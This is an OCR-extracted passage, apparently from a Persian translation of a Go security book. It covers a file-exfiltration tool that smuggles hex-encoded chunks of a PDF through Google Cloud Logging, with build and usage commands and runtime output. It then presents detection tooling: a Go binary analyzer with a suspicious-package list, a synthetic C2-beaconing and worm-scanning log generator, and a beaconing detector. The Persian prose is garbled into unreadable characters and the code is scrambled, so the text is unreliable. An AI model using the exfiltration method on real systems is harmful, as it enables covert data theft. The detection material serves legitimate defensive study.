log.Fatalf("Failed to write output file: %v", err)

{

log.Printf("Successfully retrieved and reconstructed file: %s", outputPath)
{
o iz | Al sladild (5 3l 3l 5 es lucii e ¢ saiua ) » GoLogRetrieve CadIS (VoA G b

Al 4y ) yaiu) i aliie 2 ual ) SDK GCP b Kl 5 0l 28 JiaalS (51 50 el 43l oy 4
LSl ) A L g e Glea 4o Jhale ulie 5o 53 s GCP 0555

O 5 B8 i s pm s satn (510 s me Slus 2S lea 31 GCP Cloud Logging <S¢
Sad S8 lagas s alaS S lulid o) exfil 1 4l G 4 CudIS 2€ e saldind sady) aiul sl
Gl 1 45 e XS CY iload 4SS ) _atul Jsha 534S adile (ol 3,00 3l il 3lad pald Jid 2l
JalS Ul (i3 51 U i 40 |y Ll Qa5 €2IS(on 0 3 ST o jladi () aliila jo 1) lag) i€ e
Ao 5 3l Send 59

1Ak JalS algl b (4l sl

S a1 €A Can ged glacle b (JalS Jaely JialS (51
Initialize the module #

go mod init gologexfil

.Get the required dependencies #

go get cloud.google.com/go/logging

go get cloud.google.com/go/logging/logadmin

go get google.golang.org/api/iterator

go get google.golang.org/protobuf/types/known/structpb
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.Build the exfil client #

go build -o gologexfil gologexfil-1.1.go

.Build the retrieval client #

go build -o gologretrieve retrieve.go

Usage #

gologexfil --file /path/to/file/.

<gologretrieve --exfil-id <filename-timestamp/.

C\);lm\ sl ) caalu LA‘;LL»:\U ol TE-A Ca yed

Apsec.ir

534Sy shaiad a3 s e mandli LOASG 4y sl yad i ) il alaad Sy il 5850 sl ¢l ol o
uﬁﬁyuujjdﬁ\cd)se:\hKB*o~ LSJJ‘)J\ASAU;I\\A‘MJSJM‘*SJ}LL)LAA _Qu\aﬁod\dom}\’-/\w

) KB il 2 e Shidy (i) K a5 8 ) KBY® 1 JiShaa GCP Cloud Logging «lhae ()

R Slaa (b Jsb o Ldils b ) ) e s 2 5e 220l

PROMEMS O ouTPUT DEBUG CONSOLE TERMINAL POAaTS

ensbedded & ,/gologexfil

2024712731 17127144 Chunk 17223
2024/12/3% 17127184 Chunk 2/22:
2024/12/3% 17:27:44 Chunk 37/22:
2024/12/31 17:27:44 Chunk 4722
2024/12/31 17:27:44 Chunk 3/
2024/12/3% 17:27:44 Chunk 6/
2024/12/31 17:27:44 Chunk 7/722:
2024/12/31 17:27:48 Chunk 8722:
2024/12/3% 17:27:44 Chunk 9722

2024/02/73% 17:27:44 Chunk 18/22:
2024/12/31 17:27:44 Chunk 11/22:
2024/12/3) 17:27:484 Chunk 127222

2024712731 17:27:44 Chunk 13/202

2024/12/31 17:27:44 Chunk 14/22:
27144 Chunk 15/22:
t44 Chunk 16/22:
202412731 17:27:44 Chunk 17/22:

2024/12/31 171
2024/12/31 17

o

2024/12/31 17:27:44 Chunk 18/22:
2024/12/31 17:27:448 Chunk 19/22:
202412731 17:27:44 Chunk 20/22:
202412730 17:27:44 Chunk 21/22:

2024/12/31 17:27:44 Chunk 22722

125000 bytes processed
125300 bytes processed
125890 bytes processed
125800 bytes processed
1250990 bLytes processed
125009 bytes processed
125000 bytes processed
125000 bytes processed
1250900 Lytes processed
125800 bytes processed
125800 bytes processed
125000 bytes processed
125000 bytes processed
125009 bytes processed
125809 bytes processed
125000 bytes processed
125000 bytes processed
125809 bLytes processed
125000 bytes processed
125009 Lytes processed
1250090 bytes processed
73130 bLytes processed

wes File Exfiltrotion Complete me=

To retrieve this file, use:

Jgologretrieve —exfil-id CISA-IR-Playbookd.pdf-173568765%

~file . /CISA-IR-Playbook2.paf

Figure 8-7: GologExfil output

GoLOogEXfil (o« 1V-A JS&

A-A di.&) Cudla aml d jla C\);l.u\ A sledil Hasadisaly lil exfil Amli 4 6‘5.1171‘)1_\ DV b salaial (gl
A€ Alid 3 iy pania gl ) a5l e U 0 e S 5 Unix Sle) e So L) i b anlid cpl (2 )
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i€ paliiul 3 & jae o UNix S sl 4 5 slagiala
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N shair J/tmp

I % mv L /CISA-IR-Playbook2,.pdf . /tap

3 % av L /tep/CISA-IR-Playbook2.pdf , /tap/CISA-IR-Playbook-original, pdf
I 8 J/gologretrieve ~—exfileld CISA-IR-Playbookl.pdf-1735687659
:12 Found entry with type: chunk

112 Found chunk 22

12 Fonind entry with type: chunk

12 Found chunk 21

12 Found entry with type: chunk

2024/12/31 17:29:12 Found chunk 20

2024/12/31 17:29:12 Found entry with type: chunk

2024/12/31 17:29:12 Found chunk 19

2024/12/31 17:29:12 Found entry with type: chunk

024/12/31% 17:29:12 Found chunk 18

20248/32/33 17:2
2024/32/3% 17:2
MW24/12/31 17:2
2024/12/31 1
26/1/30

-

Figure 8-8: The GologRetrieve runtime output
GoLogRetrieve ¢! a) g o505 A=A JSG

403)545\345.3) o g i Ol el LV 4 by S glsiean ) ) blob ;GJ;S\JMAS\;J B

o Al AL a0t 8 (5l 4S Cand 58 o) S e Jilie (UK e el il 8 i ¢ B )1 3
4< JJLQL& i dunlia adi b b sladd b 1) 26A oAl 5 ldinia e o Sl sladila dl.u_)\ e\;jﬁ JRTELY
Sl c.l.ﬁa.'\k._i\)'; Al d}}a ).J)':\?@A 4S 2 gl Jala ul_\;mla\ U el ol oala L& 4-A MJJ

2024/12/31 17:29:12 Found chunk 1

2024/12/3% 17:29:12 Found entry with type: msetadata

2024/12/31 17:29:12 Found metadata: mop!|filename: CISA-IR-Playbook2.paf timestomp:l.73568765%+09 ¢

402/ 2292 cessfully retrieved and reconstructed file: ., /CISA-IR-Playbook2.pdf

enbedded & mdSsun . /CISA-IR-Playbook2, pdf

1502¢031C33b05680045e58b84cHed3a . /CISA-IR-Playbook2. pdf
enbedded N maSsum . /te9/CISA-IR-Playbook-original.pdf

1532c831c33b05686045e50b84c8e43a | /itmp/CISA~IR-Playbook-original.paf

enbedded & |}

Figure 8-9: Validating file integrity by comparing MD5 hashes for the source and
refrieved files

228 bl 5 aie s (5) 3 MD5 slaia alia b W Sa JSG st i) 14-A US4

W€ L1 358 Ry 2 e ki 4458 GCP Cloud Logging s sx34S348S (5355 s axiS (o e
“dadia S e S s Ol 4 a9 S saiua |y Logs Explorer 258 25l s Google Cloud JswiS 44 5
23S 35k 48 LU 2L« SEARCH aali () comm 5 23S sl INFO (50 1 i 20 2l 63 53 g dal ) S

_(.Jg.':...\.'\.}\‘)\~-/\ M)A&ls&)‘}ﬁ\gjddﬁdﬁlduﬂahojjﬁ\)

E Logs Explorer

o ¢ Projectiogs ~ Q cisa
EB All resources ~ All log names ~
1 jeverity=IN
SEARCH( : )
1h

Figure 8-10: The Logs Explorer querying filter

Logs Explorer s> soen Al 1) +-A IS
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23l 53 5 5L U aaa (5K ) JSON S jalia A an ) asd B LU H ASS So 5 i€ ) jal ) 28 (6 e s
CISA- 5 e 453 anlid (il o (1R (2505 8 ) Jlapmsd) B i 31 s S0 3l S oy 2 1
Ll oad pala LI VYA JSE 048 shalea W |R-Playbook. pdf

31 results
mvyraTY o SUNMMARY
SYORLGI/T 1] | U0/ W01 . LNERseye LI WNaLEY U W BiLe]
& Explain this log entry O Copy ~ = Expand nested fields & Hide log summary
v {
insertld 180e2haf14ceby
* labels
chunk -numbe r '
oxfil_1d ISA-IR-Playbook . pdf- 1735608584
total-chunks [}
type chunk
)
logNane projects/xtec-lad/logs/exf1)-CISA-IR-Playbook . pdf 1735685867
receiveTinestanp 2024-12-31722:57:5
v resource: (2)
severity INF(
textPayload
le 1702087282454 1500a1 F10006CH9300 7022606 8ceb290295c 900642090072 19022293 a%aa5ccE1 7 1catas]
f£294410cF6fofbBLSH T cb50a950T70bbef Eb20ad93Ib5acs FRefBbachbde8B56 ) fddafedt 7 f S5bae 1242624320
501c4040 6771 18268361527ci0208e46550228132089264 181 5280002840c3905b15579e509e300280¢2d4d43

Figure 8-11: The expanded view of a logs Explorer eniry that shows what the hexadecimal
encoded filestream looks like in the console

0 8 4y eadis )1 Ja ) b (s a3 e (Ui 4S Logs Explorer a5 <o 43l i il glai 1) VoA IS
2 en b 4y 4 Ky J g€

JBa o) a0 Kiey Mlodan CAB <Sa )3 15 203 slags yul Wl 4S5 dladild alaad co jlail 4y e G palaa

e

) ol ) HAdL CAB i oS 3 a0 YY) 4485 (ol siean 4S e L3 | PDF i o

L obina )5 S il aiile Go (ool )l 4n b dalS zl il Al lad S el cdaad o) 0
Windows cladié as Jaabaias Jé slasls ) ealiiul b Microsoft CAB Jié lld jo la e (saiaion

A1) Ldd 48 20l 4 8 ) Al QIS G x2S Sl a1 ) ) S 38 ) ) Update
GCP 4 Uil R lacsss Ol sieds | gl 5 eaiSce 18 ey Kb 4p 1) lagl i€ 0 4SS KBY O+ (slaiay
6 8358 (sl bk D13 S eculed 50 el (s |y Sl 5 a8 e 35 Cloud Logging
WLLOLBIN 4 Sl Jaad 0l o8l 3l L asidlas ol 53 05 el (sl JSd 40 (318 G525 slagis bl
Lad ) sadiul (s 53l il 4 (5 pdpillandl 35 381 ) ) (oo Dladd ) 5 28000 GRS ) (SanaS a0 )
Aila 7 )& SOC 20 ) s Y sh e (5 1S 0 SaS L 4y 5 0238 e salitiul
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PART Il

TESTING AND VALIDATION

A ';..,Jlj'ir\ 9 L"\m'z: P ( ).AM:“ .
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R
BUILDING DETECTION TOOLS

i lS sl )l ul Al 4
pladl LAl (el udige sWari () (SESU sladia 55 Al dald Al e 8 sl pasadie SO () siedn Lad G
)2 GO sl JALIaT S el il vl & L8 sladiad i oS Siia a5l L 5 GO e e cjde
i R eaniSand 5 (S Jalds 4S 4l (Sl i 02183 il S0 Gt g i gh 2l 5a 028 Ll (sl oy 5
A0S ) sa Al cand aily) Sadl g e 31 eals A 53 g)

Lol 48 (53 3 2 sise S s S5 TP 5l S 51 S 55 s Ladh compiuli 5 53 a aie
a8 skl (SOAR sleaiih b (LEDR (WSIEM aiila) 2sa g0 (andld owdiga sla ) 3l b1 & 5l e
J.\.\SL\.USS \JJPuLAJLu‘;\JAA\MLI}DJ:\.\S(:LGA\ (béﬁa&;.i \/\Y‘m‘)d ((_)\_)ﬁlu\ L;JLAM))

Sl (S5 Jalas

GO J) s2sane (il (A 1 d S S 3 sa ga (S (oudign b1 L 0l (Sl o b a Le o Jual 2
i O siedr | (IS ladiu Go ddlisdi a2 ))xi C ol ila I il 8 iluidy s 8on (A 5 il
o G (6l 2K puadl ) 2 62 el BlalS (slag Hul sl o 3 5ie 5 3 08 e Jabd a6 3 lailind AlalE )
Snn (5,4 viaghy Jladil ) I A€ (S lablae 43 1 3l s (slodbir (slagis 40 Wl e Sl 1l 51 UalS(s
5 eale cile Sal dlastel Jalis xS0 4353 1) ELF 5 PE b e jtialu dasly cpl a8 aladl (5 )< 4a cal
S a5 Rle 1 A0S as ) il Al ladlae 48 (S Se KILE a5 oada ) s slading

A5l U ) Jalas

IPS S (85 a2t G lacullad (and i () s 48l Sl i Giol S il e 98 Jali le ) LSOC
Jel 28 i banagd RS (g 5 1) laial ) i) e i i€ a3 1) oadis I8 Ga 5 G 3 i) g
lacia 5 Juall gaigle) 5 28 e (i 1 JVsls S8l i slagil R 5 S ) d Jee Use ol s ()
S a3 i jeanie dale-aiie
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D) aS il (gl 300 2l & alaia (glas Hl )0 4t gn Sl 5 Jlis 44 0 8l slabeacon il ) e

Ol 4S8l (S 5 Jlis 4 b (pinas o(alaiale 8 gladiad 5o a8 lac)l aiile) wi€ e odldinl (5 jlu Aobias
cJilaa Cual i) sl o Gl e Jsera U8 ) (51 4y ot S (AL G5l 2ia pa sl ALl aa )
R O VRt N DU AU FOIN: EUOY S N

Crinad ool (b (Jalad 4y SaS (51 Ll Canlie o ) ()0 G518 0ala asle (slaaslanlis Judaay () iy
JSON L 1y laaiily (iman 5 ¢S a2l 55 Sl 5 Al R puadl )3 (ladlae 43 SaS (51 (lap) R siuua
gl il 3 «SIEM S aile ¢ Ko Jalad sla ) 5o ) s il g U aan e oag A

8 lal )

13 S ) sl 4 Bt ) cnl JusSS ()0

(Woad Lala 31 ), YY), 8 adui L ladlia o)) Go @

(Woad ala 31 7,1 ) 4dis b Jbia 0l) Python 3.x ¢

(s oks)) Python 5 Go (<) sla4is 38 L VS Code

Glaas 43 &a 2,80l o cad aial s | el Jilie ) shady o8l T Calaal (51 (andiis sl ) ) ol 4S a0
A Jlad S5 i) Gy g |y Wadmel ) 53 el il 23S e 48lal 3 g e (sUalins 4y (Hlulae

EDR extension Output findings

CRUD tf p g

ELF,’PI?\};ei:q;r —» aclivates Go (| to other tools for—={ End
analyzer risk scoring

Start
Refro search SOAR activates
window network—> network TTP > Ilggimsiomggzd —'@
fraffic detector

Figure 9-1: Potential detection engineering workflows

Ot g o sl (sla ISR R 1Y -4 S

L 4< SOAR <l L EDR 45538 <Su 2 1) Go (slivg) 8l Janol ) i) 5 e 45 s 38300 L33 YL (L >
Sl e jlu s GWEDR ) ki 458 (5 a3 s5ioe | al sadiadi (5 il (i b sladlus ) (55
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. ¢ W e
Go b Shlst el
|y il a2l g e e oalu | Laalad 5 e a5 cialu cile SUal 43323 GO ala (s 3JE) bl
ol 228 5a1a (L V-9 G jed 30 4S8 jghaclas (i€ i lad b ) Lasiog

--snip--

} type BinaryAnalyzer struct
path string

info *buildinfo.BuildInfo
symbols []string

imports [Jstring

packages map[string]string

{

} func NewAnalyzer(path string) *BinaryAnalyzer
}return &BinaryAnalyzer
,path: path

,packages: make(mapl[string]string)

{
{

} func (a *BinaryAnalyzer) Analyze() error

.Get build info (works even with stripped binaries) //
info, err := buildinfo.ReadFile(a.path)

}if err 1= nil

return fmt.Errorf("reading build info: %v", err)

{

a.info =info

.Try ELF analysis first //

} if err := a.analyzeELF(); err != nil

Ol Gl sl sala
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Af not ELF, try PE //

} if err := a.analyzePE(); err != nil

return fmt.Errorf("analyzing binary: %v", err)
{

{

return nil

{

} func (a *BinaryAnalyzer) analyzeELF() error
f, err := elf.Open(a.path)

}if err 1= nil

return err

{

()defer f.Close

.Get symbol table //

()symbols, err :=f.Symbols

}if err==nil

} for _, sym :=range symbols

a.symbols = append(a.symbols, sym.Name)
{

{

.Look for .gopclntab section //

section :=f.Section(".gopclntab")

} if section !=nil

()pclndat, err := section.Data

}if err ==nil

pcln := gosym.NewLineTable(pclndat, f.Section(".text").Addr)

Ol Gl sl sala
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table, err := gosym.NewTable(nil, pcln)
}if err ==nil
} for _, fn :=range table.Funcs

a.symbols = append(a.symbols, fn.Name)
{
{
{
{

return nil

{

} func (a *BinaryAnalyzer) analyzePE() error
f, err := pe.Open(a.path)

}if err 1= nil

return err

{
()defer f.Close

.Get symbol table //
} if f.Symbols != nil
} for _, sym :=range f.Symbols

a.symbols = append(a.symbols, sym.Name)

{
{

return nil

{

--Ship--

.Add security checks //

224
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()a.checkSuspiciousPatterns

{

} ()func (a *BinaryAnalyzer) checkSuspiciousPatterns
}suspiciousPackages := map[string]string

,"syscall": "System call usage”

,"unsafe": "Unsafe memory operations”

,"os/exec": "Command execution”

,"debug/proc": "Process manipulation”

,"net/http": "Network capabilities”

,"crypto/tls": "TLS/Encryption”

{

fmt.Printf("\nSecurity Analysis:\n")

} for _, dep :=range a.info.Deps

} if reason, suspicious := suspiciousPackages[dep.Path]; suspicious
fmt.Printf(" ! Found suspicious package: %s (%s)\n", dep.Path, reason)
{

{

{

} func isInterestingSymbol(sym string) bool
.Add more interesting patterns here //
}interestingPrefixes := [|string

,".main”

,init”

,"os.exec"

,"net.Dial"

n

,"crypto/tls

225
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,"syscall”

{

} for _, prefix := range interestingPrefixes

Apsec.ir

} if len(sym) > len(prefix) && sym[:len(prefix)] == prefix

return true

{

{

return false

{

} (func main
()flag.Parse

} if flag.NArg() != 1

log.Fatal("Usage: go-binary-analyzer <binary>")

{
analyzer := NewAnalyzer(flag.Arg(0))

} if err := analyzer.Analyze(); err != nil
log.Fatalf("Analysis failed: %v", err)

{

()analyzer.PrintAnalysis

{

Gooﬁdg\:m\sdﬂgduth Uil () adgad aS 1 Y29 s yed

A.u\.n) MSGAQ&&J\JDMJ\EJS}@LAQJ:\M\ ﬁu@ud;o\‘)‘)dmﬁmuﬁu\g{}mdudﬁugﬁog\
5 (o285 )X ey i ) 51 crypto/tls s e s)al ) 0s/exec i rhaw Cililas ) syscall

.J.\SGA Ls‘)\ﬁdmk a)ﬂb Q\‘).Lna O sieda ) Lbu‘

Ready, Set, Go—» (lsie b GCP afi e S5 Caus «Go b i ol o yidn Gle Ml (515 4a 53
https://cloud.google.com/blog/topics/threat- 2 | «Golang Internals and Symbol Recovery

i jntelligence/golang-internals-symbol-recovery

ri€ ol bl ) lached ) saliinl L (Kol s g ol (53 Lasina | 5 2 i e
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go mod init go-analyzer %
go build go-analyzer.go %
go-analyzer /path/to/go/compiled/tool/. %

ﬁw%}\)&ﬁb)ﬁcﬂ@b@deQMJ‘Mdsnuuu\)ﬁjmuaj);@).\“—q Js

Figure 9-2: Sample runtime output of the Go analyzer when testing the
worm-based implant from Chapter 5
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--snip--

:class PaloAltoTrafficGenerator

.def __init__(self, output_file: str ="pa_traffic.log")
self.output_file = output_file

()self.current_time = datetime.now

,def generate_cef_log(self

,timestamp: datetime

,Src_ip: str

,dst_ip: str

,src_port: int

,dst_port: int

,bytes_sent: int

,bytes_rcvd: int

:session_end: str = "aged-out") -> str
"""Generate CEF formatted log entry"""

"{('return (f"{timestamp.strftime('%b %d %H:%M:%S
"|f"CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC
" Y)f"traffic-1|1|rt={timestamp.isoformat

" f'src={src_ip} dst={dst_ip}

" f'spt={src_port} dpt={dst_port}

" f'proto=TCP

" f"act=allow

" f"bytesIn={bytes_sent}

" f"bytesOut={bytes_rcvd}

" }()f"start={timestamp.isoformat

" f"elapsed=0.0

228
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("f"session_end_reason={session_endj\n

-def generate_c2_beaconing(self, pattern: str = "perfect") -> List[Tuple]

nwn nwnn

Generate C2 beaconing traffic patterns
[] = logs

base_time = self.current_time

.Use different IPs for different patterns #
:"if pattern == "perfect
c2_server="192.168.1.100"

victim ="10.0.0.50"

Perfect 30-second intervals #

:()+ +)foriinrange

timestamp = base_time + timedelta(seconds=i * 30)
logs.append((timestamp, victim, c2_server))

"elif pattern == "exponential_backoff
c2_server="192.168.1.101"

victim="10.0.0.51"

" Start with 10 second interval, double after each "failure #
interval =10

timestamp = base_time

:(°+)foriinrange

logs.append((timestamp, victim, c2_server))

.interval = min(interval * 2, 300) # Cap at 5 minutes
timestamp += timedelta(seconds=interval)

"elif pattern == "jittered

c2_server="192.168.1.102"

victim ="10.0.0.52"
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second intervals with +/- 2 second jitter-Y+ #
()« +)foriinrange

(Y ,Y-)jitter = random.uniform

timestamp = base_time + timedelta(seconds=(i * 30 + jitter))

logs.append((timestamp, victim, c2_server))
return logs

,def generate_worm_scanning(self
:[network: str="10.0.0.0/24") -> List[Tuple

wnn

"""Generate worm scanning patterns
[] = logs

base_time = self.current_time
worm_source ="10.0.0.5"

.Convert network to list of hosts #
network = ipaddress.ip_network(network)

hosts = list(network.hosts())

Sequential scanning with more consistent timing #
timestamp = base_time

for wave in range(3): # Three waves of scanning
print(f"Generating wave {wave+1} of scanning...")
random.shuffle(hosts)

:for host in hosts

.if str(host) !=worm_source: # Don't scan self

More consistent timing for scanning #

)delay = random.uniform

Faster, more consistent scanning # (+,¥ ,+,)

timestamp += timedelta(seconds=delay)
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logs.append((timestamp, worm_source, str(host)))
.Simulate failed SSH attempts with consistent timing #
if andom.random() < 0.8: # 80% failure rate

)for _in range(random.randint

Less variable retry attempts # :((¥ ,¥

Jtimestamp += timedelta

seconds=0.1) # Consistent retry timing
logs.append((timestamp, worm_source, str(host)))
.Add a longer delay between waves #

timestamp +=timedelta(minutes=5)

return logs

.def generate_normal_traffic(self, duration_hours: int= 1) -> List[Tuple]

nmn

"""Generate normal user traffic patterns
[ = logs

base_time = self.current_time

end_time = base_time + timedelta(hours=duration_hours)
.Define some common internal hosts #

internal_hosts = [f"10.0.0.{i}" foriin range(10, 20)]
external_hosts =[f"192.168.1.{i}" foriin range(10, 30)]
current = base_time

‘while current < end_time

.Add random delays between 30 seconds to 5 minutes #
delay = random.uniform(30, 300) # Increased minimum delay
current +=timedelta(seconds=delay)

.Generate 1-3 connections for each time point #

:for _inrange(random.randint(1, 3))
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src = random.choice(internal_hosts)

dst = random.choice(external_hosts)
logs.append((current, src, dst))

return logs

--snip--

Write to file #

print(f"Writing logs to {self.output_file}...")
:with open(self.output_file, 'w') as f

.for timestamp, src, dstin all_logs

.Use appropriate dst_port based on traffic type #
if dst.startswith("192.168.1.10"): # C2 servers
dst_port =443 # C2 traffic uses HTTPS
-else

([A+A+ ,£8Y A+])dst_port = random.choice
)log_entry = self.generate_cef_log
,timestamp=timestamp

,Src_ip=src

,dst_ip=dst

,(leeYye £4)eY)src_port=random.randint
,dst_port=dst_port

,(8+++ Y+ )bytes_sent=random.randint
((bytes_rcvd=random.randint(500, 15000
f.write(log_entry)

print("Log generation complete!")

" "

__if_name__=="__main

generator = PaloAltoTrafficGenerator("pa_traffic.log")
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generator.write_logs("all")
alas o & A b Jlg pold inbe 3 (slai )l R ol g3 1Y=q G yed

XS pa i |y iR (slaedla XS 35 28] 53 gliia S (5310000 5 ¢S a gt (5l 4o Jle (a5 4S il )
Al Oyt A Otiaes al g A€ e l8 (g jle Aalai K 5 CEF slaald L)) syslog Palo Alto i 48
J.\AS@CJJ\chgLM_\:\]bLBJﬁ)Sb&.m\

(S sa5iul PowerShell ) cWindows 2) wiS 1 oal p ) &) sada |y S Sl
mkdir network-detector && cd ./network-detector %

. python3 -m venv %

.source ./bin/activate # On Windows, use .\Scripts\Activate.ps1 %
/. cp /path/to/pan-log-generator-1.1py %

/. cp /path/to/network-ttp-detector-1.1py %

/. cp /path/to/requirements.txt %

pip3install -r requirements.txt %
python3./pan-log-generator-1.1.py %

G505 O e sls A4S uiw pa_traffic.log AL 4 WS oS pla )y Jil GG ol ceaiiSall 68 (gl ja) )
sl )%

\Dec 31 19:29:03 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1
\ rt=2024-12-31719:29:03.736481 src=10.0.0.52 dst=192.168.1.102 spt=61514|) |

dpt=443 proto=TCP act=allow bytesIn=4534 bytesOut=14231 start=2024-12-
\31719:29:03.736481

elapsed=0.0 session_end_reason=aged-out
\Dec 31 19:29:04 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1
\rt=2024-12-31719:29:04.934525 src=10.0.0.50 dst=192.168.1.100 spt=57383|)|

dpt=443 proto=TCP act=allow bytesIn=2075 bytesOut=11726 start=2024-12-
\ 31T19:29:04.934525

elapsed=0.0 session_end_reason=aged-out
\Dec 31 19:29:04 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1
\rt=2024-12-31719:29:04.934525 src=10.0.0.51 dst=192.168.1.101 spt=50909|) |
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dpt=443 proto=TCP act=allow bytesIn=309 bytesOut=11166 start=2024-12-
\31719:29:04.934525
elapsed=0.0 session_end_reason=aged-out
--snip--
A0S ) sa ealdid Wsa g5 (ol didad ) e 058k pandas s NumPy laadlalis i Lad caxy ala ja 0
S 5K S i
s\ L pa_traffic.log Qi 50 4l okl dalat Gusa 5 38 e alaal s 50 sladata frame T-9 Caw e

o S e | el aldie gl jae S ) abal s S8 5 beaconing s cbeaconing «aSad (Seul (o) 2

--snip--
Default logfile name - easy to modify #
"DEFAULT_LOG_FILE = "pa_traffic.log

.def parse_cef_log(line: str) -> Dict

nwn wnn

Parse CEF formatted log entry
{} = parsed

.Extract timestamp #
timestamp_match =re.search(r'rt=([\d\-T:\.]+)', line)

:if timestamp_match

parsed['timestamp'] = datetime.fromisoformat(timestamp_match.group(1))
.Extract Ips #

src_match = re.search(r'src=([\d\.]+)', line)

dst_match =re.search(r'dst=([\d\.]+)', line)

:if src_match and dst_match

(V)parsed['src_ip'] = src_match.group

(V)parsed['dst_ip'] = dst_match.group

.Extract ports #

spt_match =re.search(r'spt=(\d+)', line)
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dpt_match =re.search(r'dpt=(\d+)', line)

:if spt_match and dpt_match
parsed['src_port'] = int(spt_match.group(1))
parsed['dst_port'] = int(dpt_match.group(1))
return parsed

-def analyze_timing_patterns(connections: List[Dict]) -> Dict

\

nwn nmn

Analyze timing patterns in connections
:if not connections

return None

.Convert to pandas dataframe for analysis #

df = pd.DataFrame(connections)

df['timestamp'] = pd.to_datetime(df['timestamp'])
df = df.sort_values('timestamp’)

.Calculate intervals #

A

()intervals = df{'timestamp'].diff().dt.total_seconds
} = stats

,()mean_interval': intervals.mean’

,()std_interval': intervals.std’

,()min_interval': intervals.min’

,()max_interval': intervals.max’

{

.Calculate regularity score #
/ ['stats['regularity_score'] = 1.0 - (stats['std_interval
(stats['mean_interval']
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.Calculate entropy score with safeguards #

Y

hist, _=np.histogram(intervals.dropna(), bins='auto")

()probs = hist / hist.sum

probs = probs[probs > 0]

.Add safeguard for entropy calculation #

if len(probs) <=1

stats['entropy_score']=0.0

.Single probability means no randomness #

-else

entropy = -np.sum(probs * np.log2(probs))

stats['entropy_score'] = entropy / np.log2(len(probs))

return stats, df, intervals

,def generate_timing_visualization(df: pd.DataFrame, intervals: pd.Series
,alert_type: str, src_ip: str, dst_ip: str
:viz_dir: Path) -> str

"""Generate visualization for timing-based alerts"""
.Create figure with two subplots #

fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(12, 8))
Plot 1: Connection intervals over time #
ax1.plot(df['timestamp'], intervals, 'b.", alpha=0.5)
ax1.set_title(f'Connection Intervals: {src_ip} -> {dst_ip})
ax1.set_xlabel('Time')

ax1.set_ylabel('Interval (seconds)’)

ax1.grid(True)

Plot 2: Interval distribution #
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sns.histplot(intervals.dropna(), bins='auto', ax=ax2)
ax2.set_title('Distribution of Connection Intervals')
ax2.set_xlabel('Interval (seconds)’)

ax2.set_ylabel('Count)

.Add alert details #

plt.figtext(0.02, 0.02, f'Alert Type: {alert_type}', fontsize=8)
.Generate filename based on alert details #

timestamp = datetime.now().strftime('%Y%m%d_%H%M%S")
"filename = f"{alert_type} {src_ip}_{dst_ip}_{timestamp}.png
filepath = viz_dir / filename

.Save and close #

()plt.tight_layout

plt.savefig(filepath)

()plt.close

return str(filepath)

.def detect_scanning(connections: List[Dict]) -> Dict

wnn wnn

Detect scanning patterns
:if not connections

return None

df = pd.DataFrame(connections)

.Analyze unique destinations per source #
})src_stats = df.groupby('src_ip').agg
,dst_ip": 'nunique’

,'dst_port': 'nunique’

timestamp': ['count’, 'min’, 'max']’

()reset_index.({
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[] = scanning_results

:()for _, row in src_stats.iterrows

- ['duration = (row['timestamp']['max
()row['timestamp']['min']).total_seconds

scan_rate = row['timestamp']['count'] / duration if duration > 0 else 0
if (row['dst_ip']['nunique']> 10

and # More than 10 unique destinations

row['dst_port']['nunique'] == 1 and # Single destination port
:(scan_rate > 0.5

More than 1 attempt per 2 seconds #

})scanning_results.append

,src_ip': row['src_ip']’

,unique_targets': row['dst_ip']’

,scan_rate': scan_rate'

duration': duration’

(

return scanning_results, df

,def generate_scanning_visualization(df: pd.DataFrame, src_ip: str
:viz_dir: Path) -> str

"""Generate visualization for scanning alerts"""
.Filter for the specific source IP #

src_df = df[df['src_ip'] == src_ip]

.Create figure with three subplots #

fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(12, 12))
Plot 1: Scanning pattern over time #

ax1.scatter(src_df['timestamp'], src_df['dst_ip'], alpha=0.5, s=20)
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ax1.set_title(f'Scanning Pattern from {src_ip}')
ax1.set_xlabel('Time')

ax1.set_ylabel('Target IP')
ax1.tick_params(axis='y', rotation=45)

Plot 2: Target IP frequency #

()target_counts = src_dff'dst_ip'].value_counts
target_counts.plot(kind='bar', ax=ax2)
ax2.set_title('Target IP Frequency')
ax2.set_xlabel('Target IP')
ax2.set_ylabel('Number of Attempts’)
ax2.tick_params(axis='x', rotation=45)

Plot 3: Time between scans #

()scan_intervals = src_df['timestamp'].diff().dt.total_seconds
sns.histplot(scan_intervals.dropna(), bins='auto’, ax=ax3)

ax3.set_title('Distribution of Scanning Intervals')

ax3.set_xlabel('Interval (seconds)’)
ax3.set_ylabel('Count’)

.Generate filename #

timestamp = datetime.now().strftime('%Y%m%d_%H%M%S")

"filename = f"SCANNING_{src_ip}_{timestamp}.png

filepath = viz_dir / filename
.Save and close #
()plt.tight_layout
plt.savefig(filepath)
()plt.close

return str(filepath)
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-def analyze_traffic(log_file: str = DEFAULT_LOG_FILE)

nmnn nmn

Main analysis function
print(f"\nStarting analysis of {log_file}...")

.Create visualization directory #

viz_dir = Path("traffic_visualizations")
viz_dir.mkdir(exist_ok=True)

print("Created visualization directory")

.Load and parse logs #

print("Reading log file...")

[] = connections

‘try

:with open(log_file, 't') as f

:forlineinf

lif 'CEF:"inline

parsed = parse_cef_log(line)

.if parsed

connections.append(parsed)

.except FileNotFoundError

print(f"Error: {log_file} not found in current directory")
return

:if not connections

print("No valid log entries found")

return

print(f"Parsed {len(connections)} valid log entries")

.Group connections by source-destination pairs #

print("Grouping connections by source-destination pairs...")
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pair_connections = defaultdict(list)

:for connin connections

key = (conn['src_ip'], conn['dst_ip'])
pair_connections[key].append(conn)

print(f"Found {len(pair_connections)} unique source-destination pairs")
[] = alerts

.Analyze each source-destination pair #

¢

print("\nAnalyzing connection patterns...")

pair_count=0

:()for (src, dst), conns in pair_connections.items
pair_count +=1

:if len(conns) <10

Minimum connections for analysis #

continue

)print

,"f"\rAnalyzing pair {pair_count}/{len(pair_connections)}: {src} -> {dst}
("=end

timing_stats, df, intervals = analyze_timing_patterns(conns)

.Check for suspicious timing patterns #

o
.if timing_stats['regularity_score'] > 0.9
print(f"\nDetected beaconing pattern: {src} -> {dst}")
,viz_file = generate_timing_visualization(df, intervals
,'SUSPICIOUS_BEACONING'

(src, dst, viz_dir
